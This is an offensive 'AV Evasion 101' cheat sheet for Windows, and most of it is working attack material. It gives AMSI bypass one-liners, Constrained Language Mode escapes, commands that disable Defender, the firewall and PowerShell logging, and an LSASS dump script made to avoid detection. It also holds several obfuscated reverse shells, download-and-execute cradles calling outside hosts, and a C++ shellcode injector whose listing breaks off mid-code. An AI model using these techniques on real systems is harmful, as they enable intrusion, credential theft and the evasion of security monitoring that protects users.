AV Evasion 101: Essential Techniques and Concepts

Table Of Contents

Source

Good tools

Malware forums/channels/discord

Test payload against AV

Defcon – Writing custom backdoor payloads with C#

GitHub – mvelazc0/defcon27_csharp_workshop: Writing custom backdoor payloads with C# – Defcon 27 Workshop


Step by Step for obfuscating code

  1. Rename Variables: Change the names of variables, methods, and classes to non-descriptive or misleading names. Use random names or unrelated words to make it harder to understand the purpose and flow of the code.
  2. Use different method for injection. Don’t rely on VirtualAlloc, as that would be flagged easily.
  3. Remove Whitespace and Formatting: Remove unnecessary whitespace, line breaks, and indentation from the code. This makes the code more difficult to read and follow.
  4. Split Strings: Split sensitive strings used in the code into multiple parts and concatenate them at runtime. This makes it harder for someone to extract the original strings from the code.
  5. Use Obfuscated Logic: Modify conditional statements and loops to use obfuscated logic. Introduce additional conditions, nested conditions, or bitwise operations to confuse the understanding of the code’s behavior.
  6. Add Dummy Code: Insert irrelevant or meaningless code snippets throughout the code. This can include unused variables, empty loops, or false branches. Add a function to calculate things and just spit out nonsense. These additions make the code harder to understand and analyze.
  7. Replace Constants: Replace literal values or constants in the code with calculations or obfuscated equivalents. For example, instead of using the value 1, you could use a calculation like Math.Sqrt(1).
  8. Remove or Modify Comments: Remove or modify comments in the code that provide insights into its functionality. Replace them with misleading or irrelevant comments to confuse the reader.
  9. Code Rearrangement: Rearrange the order of statements, functions, or code blocks. This disrupts the logical flow of the code and makes it harder to follow.
  10. Use Hexadecimal or Binary Representation: Convert portions of the code into hexadecimal or binary representation. This makes it more difficult to understand the code at a glance.
  11. Code Fragmentation: Split the code into smaller functions or files, each with a different purpose. This makes it harder to understand the overall structure and flow of the program.
  12. Use Evasion techniques (checkpoint.com): Add CPU temp check, check the screen resolution, check if its a sandbox, add many random sleep functions. Use the website. For ex: Check if the system have 5 or more recent files opened, if not, dont run the payload because that might be a VM. The main goal is to check if its an actual machine or Sandbox/VM/AV Scanner. One particular if you’re targeting a client machine is to check for mouse movement.
  13. Use threatcheck or defendercheck: You have a code? Compile and upload to antiscan.me. If detected, remove part of the code, until its not detected anymore. When you find out what part of the code that triggered the AV, obfuscate it.

AV Evasion MindMap – From Start to finish

(AV) Anti-Virus – The Hacker Recipes


General AV Evasion cheatsheet

Check AV – Running, Exclusion, Disable

  • Check if Windows Defender is running: Get-MpComputerStatus | Select RealTimeProtectionEnabled
  • Get info about Windows Defender: Get-MpPreference
  • Find excluded folders from Windows Defender: Get-MpPreference | select Exclusion*
  • Create exclusion: Set-MpPreference -ExclusionPath "<path>"
  • Check AV detections: Get-MpThreatDetection | Sort-Object -Property InitialDetectionTime
  • Get last AV detection: Get-MpThreatDetection | Sort-Object -Property InitialDetectionTime | Select-Object -First 1
  • Disable AV monitoring: Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPReference -DisableIOAVProtection $true
  • Enumerate ASR rules: https://github.com/directorcia/Office365/blob/master/win10-asr-get.ps1
  • Enumerate AV / EDR: https://github.com/tothi/serviceDetector
// What AV is running on the system

// Importing necessary namespaces
using System;
using System.Management;

internal class Program
{
    static void Main(string[] args)
    {
        var status = false; // Variable to track the presence of antivirus software
        Console.WriteLine("[+] Antivirus check is running .. ");

        // Array of antivirus processes to check for
        string[] AV_Check = { 
            "MsMpEng.exe", "AdAwareService.exe", "afwServ.exe", "avguard.exe", "AVGSvc.exe", 
            "bdagent.exe", "BullGuardCore.exe", "ekrn.exe", "fshoster32.exe", "GDScan.exe", 
            "avp.exe", "K7CrvSvc.exe", "McAPExe.exe", "NortonSecurity.exe", "PavFnSvr.exe", 
            "SavService.exe", "EnterpriseService.exe", "WRSA.exe", "ZAPrivacyService.exe" 
        };

        // Creating a ManagementObjectSearcher to query Windows processes
        var searcher = new ManagementObjectSearcher("select * from win32_process");
        var processList = searcher.Get(); // Retrieving the list of processes

        int i = 0;
        foreach (var process in processList)
        {
            // Checking if the process is one of the antivirus processes
            int _index = Array.IndexOf(AV_Check, process["Name"].ToString());
            if (_index > -1)
            {
                // Antivirus process found
                Console.WriteLine("--AV Found: {0}", process["Name"].ToString());
                status = true;
            }
            i++;
        }

        // Checking the status variable to determine if antivirus software was found or not
        if (!status)
        {
            Console.WriteLine("--AV software is not found!");
        }
    }
}

Windows Firewall

  • Get state: Get-NetFirewallProfile -PolicyStore ActiveStore
  • Get rules: Get-netfirewallrule | format-table name,displaygroup,action,direction,enabled -autosize
  • Disable firewall: Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False
  • Enable firewall: Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled True
  • Change default policy: Set-NetFirewallProfile -DefaultInboundAction Block -DefaultOutboundAction Allow
  • Open port on firewall: netsh advfirewall firewall add rule name="Allow port" dir=in action=allow protocol=TCP localport=<PORT>
  • Remove firewall rule: Remove-NetFirewallRule -DisplayName "Allow port"

Powershell – ASMI bypass methods, Disable AV, etc

AMSI.fail

AMSI Bypass

  • Start 64 bit powershell: %SystemRoot%\sysnative\WindowsPowerShell\v1.0\powershell.exe
  • Change execution policy: Set-ExecutionPolicy Bypass or -ExecutionPolicy Bypass
  • Bypass AMSI (AntiMalware Scan Interface): Use one of the following single-line or multi-line bypasses:

If patched, just change up the strings/variables.

Single-line bypasses:

$A=\"5492868772801748688168747280728187173688878280688776\" $B=\"8281173680867656877679866880867644817687416876797271\" function C ($n, $m) {  [string] ($n..$m|% { [char] [int] (29+ ($A+$B).  substring ( ($_*2),2))})-replace \" \"} $k=C 0 37; $r=C 38 51 $a= [Ref].Assembly.GetType ($k) $a.GetField ($r,'NonPublic,Static').SetValue ($null,$true)

Multi-line bypass:

$a = 'System.Management.Automation.A';$b = 'ms';$u = 'Utils'
$assembly = [Ref].Assembly.GetType ( (' {0} {1}i {2}' -f $a,$b,$u))
$field = $assembly.GetField ( ('a {0}iInitFailed' -f $b),'NonPublic,Static')
$field.SetValue ($null,$true)

Single-line bypasses:

S`eT-It`em ( 'V'+'aR' +  'IA' + ('blE:1'+'q2')  + ('uZ'+'x')  ) ( [TYpE](  "{1}{0}"-F'F','rE'  ) )  ;    (    Get-varI`A`BLE  ( ('1Q'+'2U')  +'zX'  )  -VaL  )."A`ss`Embly"."GET`TY`Pe"((  "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em')  ) )."g`etf`iElD"(  ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+'nitF'+'aile')  ),(  "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+'Publ'+'i'),'c','c,'  ))."sE`T`VaLUE"(  ${n`ULl},${t`RuE} )

Credit: https://buaq.net/go-98295.html

[Ref].Assembly.GetType('System.Management.Automation.'+$("41 6D 73 69 55 74 69 6C 73".Split(" ")|forEach{[char]([convert]::toint16($_,16))}|forEach{$result=$result+$_};$result)).GetField($("61 6D 73 69 49 6E 69 74 46 61 69 6C 65 64".Split(" ")|forEach{[char]([convert]::toint16($_,16))}|forEach{$result2=$result2+$_};$result2),'NonPublic,Static').SetValue($null,$true)

Credit: https://s3cur3th1ssh1t.github.io/Bypass_AMSI_by_manual_modification (however, I think it’s originally from Matt Graeber)

[Runtime.InteropServices.Marshal]::WriteInt32([Ref].Assembly.GetType(("{5}{2}{0}{1}{3}{6}{4}" -f 'ut',('oma'+'t'+'ion.'),'.A',('Ams'+'iUt'),'ls',('S'+'ystem.'+'Manage'+'men'+'t'),'i')).GetField(("{1}{2}{0}" -f ('Co'+'n'+'text'),('am'+'s'),'i'),[Reflection.BindingFlags]("{4}{2}{3}{0}{1}" -f('b'+'lic,Sta'+'ti'),'c','P','u',('N'+'on'))).GetValue($null),0x41414141)

Credit: https://www.trendmicro.com/en_us/research/22/l/detecting-windows-amsi-bypass-techniques.html

Bypass CLM (Constrained Language Mode)

Escapes for Constrained Language Mode:

# Escape 1
$ExecutionContext.SessionState.LanguageMode
[Runspace]::DefaultRunspace.InitialSessionState.LanguageMode
[Runspace]::DefaultRunspace.SessionStateProxy.LanguageMode

# Escape 2
$ExecutionContext.SessionState.LanguageMode = "FullLanguage"
[Runspace]::DefaultRunspace.InitialSessionState.LanguageMode = "FullLanguage"
[Runspace]::DefaultRunspace.SessionStateProxy.LanguageMode = "FullLanguage"

# Escape 3
$ExecutionContext.SessionState.LanguageMode
$ExecutionContext.SessionState.GetType().GetField('languageMode','NonPublic,Instance').SetValue($ExecutionContext.SessionState,[System.Management.Automation.PSLanguageMode]::FullLanguage)
$ExecutionContext.SessionState.LanguageMode

# Escape 4
$ExecutionContext.SessionState.LanguageMode
$ExecutionContext.SessionState.GetType().GetField('languageMode','NonPublic,Instance').SetValue($ExecutionContext.SessionState,1)
$ExecutionContext.SessionState.LanguageMode

# Escape 5
$ExecutionContext.SessionState.LanguageMode
[Ref].Assembly.GetType('System.Management.Automation.Utils').GetField('cachedLanguageMode','NonPublic,Static').SetValue($null,[System.Management.Automation.PSLanguageMode]::FullLanguage)
$ExecutionContext.SessionState.LanguageMode

# Escape 6
$ExecutionContext.SessionState.LanguageMode
[Ref].Assembly.GetType('System.Management.Automation.Utils').GetField('cachedLanguageMode','NonPublic,Static').SetValue($null,1)
$ExecutionContext.SessionState.LanguageMode

# Escape 7
$ExecutionContext.SessionState.LanguageMode
[Ref].Assembly.GetType('System.Management.Automation.ScriptBlock').GetField('signatures','NonPublic,Static').SetValue($null,(New-Object 'Collections.Generic.List[string]'))
[Ref].Assembly.GetType('System.Management.Automation.ScriptBlock').GetField('optimizedAstCache','NonPublic,Static').SetValue($null,(New-Object 'Collections.Generic.Dictionary[string,System.Management.Automation.Ast]'))
[Ref].Assembly.GetType('System.Management.Automation.CompiledScriptBlockData').GetField('allowedVariables','NonPublic,Static').SetValue($null,(New-Object 'Collections.Generic.HashSet[string]'))
[Ref].Assembly.GetType('System.Management.Automation.CompiledScriptBlockData').GetField('allowedCommands','NonPublic,Static').SetValue($null,(New-Object 'Collections.Generic.HashSet[string]'))
[Ref].Assembly.GetType('System.Management.Automation.CompiledScriptBlockData').GetField('allowedVariables','NonPublic,Static').Add('*')
[Ref].Assembly.GetType('System.Management.Automation.CompiledScriptBlockData').GetField('allowedCommands','NonPublic,Static').Add('*')
$ExecutionContext.SessionState.LanguageMode

# Escape 8
function Invoke-Expression {param([string]$Command); [ScriptBlock]::Create($Command).Invoke()}

Bypass logging

Logging evasion techniques:

# Technique 1: Disable Script Block Logging and Module Logging
Set-ItemProperty -Path HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging -Name EnableScriptBlockLogging -Value 0 -Force
Set-ItemProperty -Path HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ModuleLogging -Name EnableModuleLogging -Value 0 -Force

# Technique 2: Disable Transcription Logging and Module Logging
Set-ItemProperty -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription -Name EnableTranscripting -Value 0 -Force
Set-ItemProperty -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging -Name EnableModuleLogging -Value 0 -Force

# Technique 3: Delete the log files from the system (requires admin privileges)
Remove-Item C:\Windows\System32\winevt\Logs\Microsoft-Windows-PowerShell%4Operational.evtx -Force
Remove-Item C:\Windows\System32\winevt\Logs\Microsoft-Windows-PowerShell%4Admin.evtx -Force

# Technique 4: Use Invoke-Expression to bypass Script Block Logging and Module Logging (requires PowerShell v5 or higher)
Invoke-Expression "IEX (New-Object Net.WebClient).DownloadString('http://example.com/payload.ps1')"

Disable MS Defender (Require elevation)

Turning off Windows Defender: 

Get-MPPreference
Set-MPPreference -DisableRealTimeMonitoring $true
Set-MPPreference -DisableIOAVProtection $true
Set-MPPreference -DisableIntrusionPreventionSystem $true

Add folder exclusion

Adding a folder exclusion Add-MpPreference -ExclusionPath "C:\temp"

Checking exclusions

Get-MpPreference | Select-Object -Property ExclusionPath

ExclusionPath
-------------
{C:\temp}

LSASS dumping without triggering Defender

$S = "C:\temp"
$P = (Get-Process lsass)
$A = [PSObject].Assembly.GetType('Syst'+'em.Manage'+'ment.Autom'+'ation.Windo'+'wsErrorRe'+'porting')
$B = $A.GetNestedType('Nativ'+'eMethods', 'Non'+'Public')
$C = [Reflection.BindingFlags] 'NonPublic, Static'
$D = $B.GetMethod('MiniDum'+'pWriteDump', $C) 
$PF = "$($P.Name)_$($P.Id).dmp"
$PDP = Join-Path $S $PF
$F = New-Object IO.FileStream($PDP, [IO.FileMode]::Create)
$R = $D.Invoke($null, @($P.Handle,$G,$F.SafeFileHandle,[UInt32] 2,[IntPtr]::Zero,[IntPtr]::Zero,[IntPtr]::Zero))
$F.Close()

Reverse Shells

Set-Alias -Name K -Value Out-String
Set-Alias -Name nothingHere -Value iex
$BT = New-Object "S`y`stem.Net.Sockets.T`CPCl`ient"($args[0],$args[1]);
$replace = $BT.GetStream();
[byte[]]$B = 0..(32768*2-1)|%{0};
$B = ([text.encoding]::UTF8).GetBytes("(c) Microsoft Corporation. All rights reserved.`n`n")
$replace.Write($B,0,$B.Length)
$B = ([text.encoding]::ASCII).GetBytes((Get-Location).Path + '>')
$replace.Write($B,0,$B.Length)
[byte[]]$int = 0..(10000+55535)|%{0};
while(($i = $replace.Read($int, 0, $int.Length)) -ne 0){;
$ROM = [text.encoding]::ASCII.GetString($int,0, $i);
$I = (nothingHere $ROM 2>&1 | K );
$I2  = $I + (pwd).Path + '> ';
$U = [text.encoding]::ASCII.GetBytes($I2);
$replace.Write($U,0,$U.Length);
$replace.Flush()};
$BT.Close()

Credit: @TihanyiNorbert (Reverse shell based on the original nishang Framework written by @nikhil_mitt)

$J = New-Object System.Net.Sockets.TCPClient($args[0],$args[1]);
$SS = $J.GetStream();
[byte[]]$OO = 0..((2-shl(3*5))-1)|%{0};
$OO = ([text.encoding]::UTF8).GetBytes("Copyright (C) 2022 Microsoft Corporation. All rights reserved.`n`n")
$SS.Write($OO,0,$OO.Length)
$OO = ([text.encoding]::UTF8).GetBytes((Get-Location).Path + '>')
$SS.Write($OO,0,$OO.Length)
[byte[]]$OO = 0..((2-shl(3*5))-1)|%{0};
while(($A = $SS.Read($OO, 0, $OO.Length)) -ne 0){;$DD = (New-Object System.Text.UTF8Encoding).GetString($OO,0, $A);
$GG = (i`eX $DD 2>&1 | Out-String );
$H  = $GG + (pwd).Path + '> ';
$L = ([text.encoding]::UTF8).GetBytes($H);
$SS.Write($L,0,$L.Length);
$SS.Flush()};
$J.Close()

Credit: @TihanyiNorbert (Reverse shell based on the original nishang Framework written by @nikhil_mitt)

$c = New-Object System.Net.Sockets.TCPClient($args[0],$args[1]);
$I = $c.GetStream();
[byte[]]$U = 0..(2-shl15)|%{0};
$U = ([text.encoding]::ASCII).GetBytes("Copyright (C) 2021 Microsoft Corporation. All rights reserved.`n`n")
$I.Write($U,0,$U.Length)
$U = ([text.encoding]::ASCII).GetBytes((Get-Location).Path + '>')
$I.Write($U,0,$U.Length)
while(($k = $I.Read($U, 0, $U.Length)) -ne 0){;$D = (New-Object System.Text.UTF8Encoding).GetString($U,0, $k);
$a = (iex $D 2>&1 | Out-String );
$r  = $a + (pwd).Path + '> ';
$m = ([text.encoding]::ASCII).GetBytes($r);
$I.Write($m,0,$m.Length);
$I.Flush()};
$c.Close()

Credit: @TihanyiNorbert (Based on the original nishang Framework written by @nikhil_mitt)

Reverse PowerShell:

$socket = new-object System.Net.Sockets.TcpClient('10.10.14.5', 4445);
if($socket -eq $null){exit 1}
$stream = $socket.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 1024;
$encoding = new-object System.Text.AsciiEncoding;
do{
        $writer.Write("PS> ");
        $writer.Flush();
        $read = $null;
        while($stream.DataAvailable -or ($read = $stream.Read($buffer, 0, 1024)) -eq $null){}
        $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($buffer, 0, $read);
        $sendback = (iex $data 2>&1 | Out-String );
        $sendback2  = $sendback;
        $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
        $writer.Write($sendbyte,0,$sendbyte.Length);
}While ($true);
$writer.close();$socket.close();

Execute assembly in memory

WebClient DownloadData http://x.x.x.x/file.exe method:

$bytes = (new-object net.webclient).downloaddata("http://10.10.16.74:8080/payload.exe")
[System.Reflection.Assembly]::Load($bytes)
$BindingFlags= [Reflection.BindingFlags] "NonPublic,Static"
$main = [Shell].getmethod("Main", $BindingFlags)
$main.Invoke($null, $null)

Tools that may help with AV Evasion:

Text Encoding Technique for Bypassing Detection and Remote Command Execution

cat rev.ps1

$socket = new-object System.Net.Sockets.TcpClient('10.10.14.2', 4444);
if($socket -eq $null){exit 1}
$stream = $socket.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 1024;
$encoding = new-object System.Text.AsciiEncoding;
do{
        $writer.Write("PS $(pwd)> ");
        $writer.Flush();
        $read = $null;
        while($stream.DataAvailable -or ($read = $stream.Read($buffer, 0, 1024)) -eq $null){}
        $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($buffer, 0, $read);
        $sendback = (iex $data 2>&1 | Out-String );
        $sendback2  = $sendback;
        $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
        $writer.Write($sendbyte,0,$sendbyte.Length);
}While ($true);
$writer.close();$socket.close();
echo -n "iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10/rev.ps1')" | iconv -t utf-16le | base64 -w0
aQBlAHgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQA0AC4AMgAvAHIAZQB2AC4AcABzADEAJwApAA==
./exploit.sh -c 'cmd.exe /c powershell -enc aQBlAHgAIAAoAE4AZwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQA0AC4AMgAvAHIAZQB2AC4AcABzADEAJwApAA=='
 python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
10.10.10.10 - - [04/Oct/2020 14:15:10] "GET /rev.ps1 HTTP/1.1" 200 -
rlwrap nc -nlvp 4444
Listening on 0.0.0.0 4444
Connection received on 10.10.10.10 63157
PS C:\Windows\System32> 

Go Binaries Obfuscation for Defender Bypass

Twitter source

# Example 

go install mvdan.cc/garble@latest
git clone https://github.com/jpillora/chisel.git
cd chisel
garble -tiny -literals -seed=random build main.go

Adaptive Anti-Sandbox Shellcode Loader with Kill Switch Capabilities


Windows API

What is Windows API?

The Windows API provides native functionality to interact with key components of the Windows operating system.

Windows API Components

Win32 API Top down list

LayerExplanation
APIA top-level/general term or theory used to describe any call found in the win32 API structure.
Header files or importsDefines libraries to be imported at run-time, defined by header files or library imports. Uses pointers to obtain the function address.
Core DLLsA group of four DLLs that define call structures. (KERNEL32, USER32, and ADVAPI32). These DLLs define kernel and user services that are not contained in a single subsystem.
Supplemental DLLsOther DLLs defined as part of the Windows API. Controls separate subsystems of the Windows OS. ~36 other defined DLLs. (NTDLL, COM, FVEAPI, etc.)
Call StructuresDefines the API call itself and parameters of the call.
API CallsThe API call used within a program, with function addresses obtained from pointers.
In/Out ParametersThe parameter values that are defined by the call structures. 

Common Windows API’s

Below is a list of some common Windows API’s

ComponentDescription
Core Libraries
Kernel32.dllProvides core system functionality, including process and thread management, memory management, file operations, synchronization, and system time.
User32.dllOffers user interface functions for creating and managing windows, handling input events, drawing graphics, and interacting with user controls.
Gdi32.dllProvides graphics device interface functions for drawing and manipulating graphical objects, such as lines, curves, fonts, and images.
Shell32.dllSupports shell operations, including file and folder manipulation, desktop management, shortcut creation, and accessing system icons.
Advapi32.dllOffers advanced system services, such as registry access, security management, event logging, user account management, and cryptographic functions.
Comdlg32.dllProvides common dialog functions for opening and saving files, selecting colors and fonts, and displaying standard system dialogs.
Wininet.dllEnables internet-related operations, including HTTP/FTP communication, cookie management, URL handling, and caching.
Networking
Ws2_32.dllOffers functions for network socket programming, including creating and managing sockets, sending and receiving data over TCP/IP, and DNS resolution.
Netapi32.dllSupports network management and administration, including accessing network resources, user and group management, and domain operations.
Security
Secur32.dllProvides security-related functions, including authentication services, encryption and decryption, credential management, and secure channel establishment.
Crypt32.dllSupports cryptographic operations, such as generating and verifying digital signatures, encrypting and decrypting data, and managing certificates.
UI Automation
Uiautomationcore.dllEnables accessibility features and automation of user interface elements for assistive technologies and application testing.
Windows Controls
Comctl32.dllOffers common controls, such as buttons, list views, tree views, progress bars, and tab controls, to enhance the user interface of Windows applications.
Winmm.dllProvides multimedia functions for audio and video playback, MIDI control, waveform audio manipulation, and timer management.
DirectX
Direct3DEnables 3D graphics rendering, including creating and managing rendering devices, rendering pipelines, textures, and shaders.
DirectInputSupports input from keyboards, mice, joysticks, and other gaming devices for game development and interactive applications.
Miscellaneous
Ole32.dllSupports COM (Component Object Model) functionality, including object creation, marshaling interfaces, and inter-process communication.
Shlwapi.dllProvides utility functions for string manipulation, file and path operations, URL handling, and registry access.

Operating System Libraries

Each API call of the Win32 library resides in memory and requires a pointer to a memory address. The process of obtaining pointers to these functions is obscured because of ASLR (Address Space Layout Randomization) implementations; each language or package has a unique procedure to overcome ASLR. Throughout this room, we will discuss the two most popular implementations: P/Invoke and the Windows header file.

Windows Header File:

The Windows header file (windows.h) provided by Microsoft is a solution to overcome ASLR (Address Space Layout Randomization) challenges. By including this file at the top of our program, we can call Win32 functions. It takes care of obtaining function addresses or pointers for us.

Example:


#include <windows.h>

P/Invoke:

P/Invoke (Platform Invoke) is a technology provided by Microsoft that allows us to call unmanaged libraries from managed code. It enables us to access functions, structures, and callbacks in unmanaged libraries (DLLs) like the Win32 API. We start by importing the desired DLL that contains the function we want to call.

Example:

using System;
using System.Runtime.InteropServices;

public class Program
{
    [DllImport("user32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
    ...
}

In the above code, we import the user32 DLL using the attribute [DllImport].

Note: The function declaration is not complete yet; we need to define it externally. The extern keyword informs the runtime about the DLL we imported. Here’s an example of creating the external method:

using System;
using System.Runtime.InteropServices;

public class Program
{
    ...
    private static extern int MessageBox(IntPtr hWnd, string lpText, string lpCaption, uint uType);
}

Now, we can invoke the function MessageBox as a managed method, even though it’s an unmanaged function from the Win32 API.

API Call Structure

Each API call also has a pre-defined structure to define its in/out parameters. See Windows documentation at the start of this page.

WriteProcessMemory API call as an example:

BOOL WriteProcessMemory( [in] HANDLE hProcess, [in] LPVOID lpBaseAddress, [in] LPCVOID lpBuffer, [in] SIZE_T nSize, [out] SIZE_T *lpNumberOfBytesWritten );

C API Implementation

The windows.h header file is used to define call structures and obtain function pointers. To include the windows header, prepend the line below to any C or C++ program.

#include <windows.h>

Creating our first API call. We aim to create a pop-up window with the title: “Hello THM!” using CreateWindowExA.

HWND CreateWindowExA(
  [in]           DWORD     dwExStyle, // Optional windows styles
  [in, optional] LPCSTR    lpClassName, // Windows class
  [in, optional] LPCSTR    lpWindowName, // Windows text
  [in]           DWORD     dwStyle, // Windows style
  [in]           int       X, // X position
  [in]           int       Y, // Y position
  [in]           int       nWidth, // Width size
  [in]           int       nHeight, // Height size
  [in, optional] HWND      hWndParent, // Parent windows
  [in, optional] HMENU     hMenu, // Menu
  [in, optional] HINSTANCE hInstance, // Instance handle
  [in, optional] LPVOID    lpParam // Additional application data
);

Let’s take these pre-defined parameters and assign values to them. Below is an example of a complete call to CreateWindowsExA.

HWND hwnd = CreateWindowsEx(
	0, 
	CLASS_NAME, 
	L"Hello THM!", 
	WS_OVERLAPPEDWINDOW, 
	CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, 
	NULL, 
	NULL, 
	hInstance, 
	NULL
	);

Commonly Abused API Calls

API CallExplanation
LoadLibraryAMaps a specified DLL  into the address space of the calling process
GetUserNameARetrieves the name of the user associated with the current thread
GetComputerNameARetrieves a NetBIOS or DNS  name of the local computer
GetVersionExAObtains information about the version of the operating system currently running
GetModuleFileNameARetrieves the fully qualified path for the file of the specified module and process
GetStartupInfoARetrieves contents of STARTUPINFO structure (window station, desktop, standard handles, and appearance of a process)
GetModuleHandleReturns a module handle for the specified module if mapped into the calling process’s address space
GetProcAddressReturns the address of a specified exported DLL  function
VirtualProtectChanges the protection on a region of memory in the virtual address space of the calling process

Abusing Windows Internals

The term Windows internals can encapsulate any component found on the back-end of the Windows operating system. This can include processes, file formats, COM (Component Object Model), task scheduling, I/O System, etc. This room will focus on abusing and exploiting processes and their components, DLLs (Dynamic Link Libraries), and the PE (Portable Executable) format.

Injection types

Injection TypeFunction
Process HollowingInject code into a suspended and “hollowed” target process
Thread Execution HijackingInject code into a suspended target thread
Dynamic-link Library InjectionInject a DLL into process memory
Portable Executable InjectionSelf-inject a PE image pointing to a malicious function into a target process

Process Injection (Shellcode injection)

Process injection involves the injection of code or data into the address space of a running process. The goal of process injection is usually to execute malicious code within the context of another process, often to evade detection or to gain access to sensitive data.

A process houses an application and has its own memory space, while threads execute application code within a process.

Process injection links processes using APIs like OpenProcess, modifies memory with VirtualAllocEx and WriteProcessMemory, and creates threads via CreateRemoteThread.

Processes have Integrity levels restricting access, but injection is possible within the same or lower Integrity level.

We target explorer.exe becuase its usually running as long as the user is logged in. VirtualAllocEx allows memory allocation in other processes. WriteProcessMemory copies data to a remote process.

For remote thread creation, we use CreateRemoteThread API.

At a high level, shellcode injection can be broken up into four steps:

  1. Open a target process with all access rights.
  2. Allocate target process memory for the shellcode.
  3. Write shellcode to allocated memory in the target process.
  4. Execute the shellcode using a remote thread.

  1. Open a target process with all access rights:
  • Identify the target process you want to inject the shellcode into. Let’s assume the target process is named “target.exe”.
  • Use a function like OpenProcess() to open the target process with the necessary access rights.
    For example:
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetProcessId);
if (hProcess == NULL) {
    // Error handling
}
  1. Allocate target process memory for the shellcode:
  • Determine the size of the shellcode you want to inject.
  • Use a function like VirtualAllocEx() to allocate memory within the target process.
    For example:
LPVOID remoteMemory = VirtualAllocEx(hProcess, NULL, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (remoteMemory == NULL) {
    // Error handling
}
  1. Write shellcode to allocated memory in the target process:
  • Copy the shellcode into the allocated memory within the target process using a function like WriteProcessMemory().
    For example:
if (!WriteProcessMemory(hProcess, remoteMemory, shellcode, shellcodeSize, NULL)) {
    // Error handling
}
  1. Execute the shellcode using a remote thread:
  • Create a remote thread within the target process that starts execution at the address of the allocated memory where the shellcode is written.
  • Use a function like CreateRemoteThread() to create the remote thread.
    For example:
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)remoteMemory, NULL, 0, NULL);
if (hThread == NULL) {
    // Error handling
}

The shellcode will be executed within the context of the target process, and you can monitor the results or perform any necessary cleanup.

c++ example of shellcode injection into the “notepad.exe”

Example of shellcode injection into the “notepad.exe” process using C++ and the Windows API:

#include <windows.h>
#include <iostream>

// The shellcode to be injected (example: display a message box)
unsigned char shellcode[] =
    "\x31\xc0"                 // xor eax, eax
    "\x50"                     // push eax
    "\x68\x2e\x65\x78\x65"     // push 0x6578652e (ASCII string: ".exe")
    "\x68\x63\x6d\x64\x2e"     // push 0x2e646d63 (ASCII string: "cmd.")
    "\x8b\xcc"                 // mov ecx, esp
    "\x6a\x44"                 // push 0x44
    "\x6a\x01"                 // push 0x01
    "\x51"                     // push ecx
    "\xff\xd0"                 // call eax
    "\x83\xc4\x0c"             // add esp, 0x0c
    "\x31\xc0"                 // xor eax, eax
    "\x50"                     // push eax
    "\x68\x6e\x6f\x74\x65"     // push 0x65746f6e (ASCII string: "note")
    "\x68\x65\x70\x61\x64"     // push 0x64617065 (ASCII string: "epad")
    "\x8b\xcc"                 // mov ecx, esp
    "\x6a\x00"                 // push 0x00
    "\x51"                     // push ecx
    "\xff\xd0";                // call eax

int main() {
    // Open the target process (notepad.exe)
    DWORD targetProcessId;
    HWND hwndNotepad = FindWindowA(NULL, "Untitled - Notepad");
    if (hwndNotepad != NULL) {
        GetWindowThreadProcessId(hwndNotepad, &targetProcessId);
        HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetProcessId);
        if (hProcess == NULL) {
            std::cout << "Failed to open target process." << std::endl;
            return 1;
        }

        // Allocate memory in the target process
        LPVOID remoteMemory = VirtualAllocEx(hProcess, NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        if (remoteMemory == NULL) {
            std::cout << "Failed to allocate memory in the target process." << std::endl;
            CloseHandle(hProcess);
            return 1;
        }

        // Write the shellcode to the allocated memory
        if (!WriteProcessMemory(hProcess, remoteMemory, shellcode, sizeof(shellcode), NULL)) {
            std::cout << "Failed to write shellcode to the target process." << std::endl;
            VirtualFreeEx(hProcess, remoteMemory, 0, MEM_RELEASE);
            CloseHandle(hProcess);
            return 1;
        }

        // Execute the shellcode in the target process by creating a remote thread
        HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)remoteMemory, NULL, 0, NULL);
        if (hThread == NULL) {
            std::cout << "Failed to create a remote thread in the target process." << std::endl;
            VirtualFreeEx(hProcess, remoteMemory, 0, MEM_RELEASE);
            CloseHandle(hProcess);
            return 1;
        }

        // Wait for the remote thread to finish
        WaitForSingleObject(hThread, INFINITE);

        // Cleanup
        CloseHandle(hThread);
        VirtualFreeEx(hProcess, remoteMemory, 0, MEM_RELEASE);
        CloseHandle(hProcess);

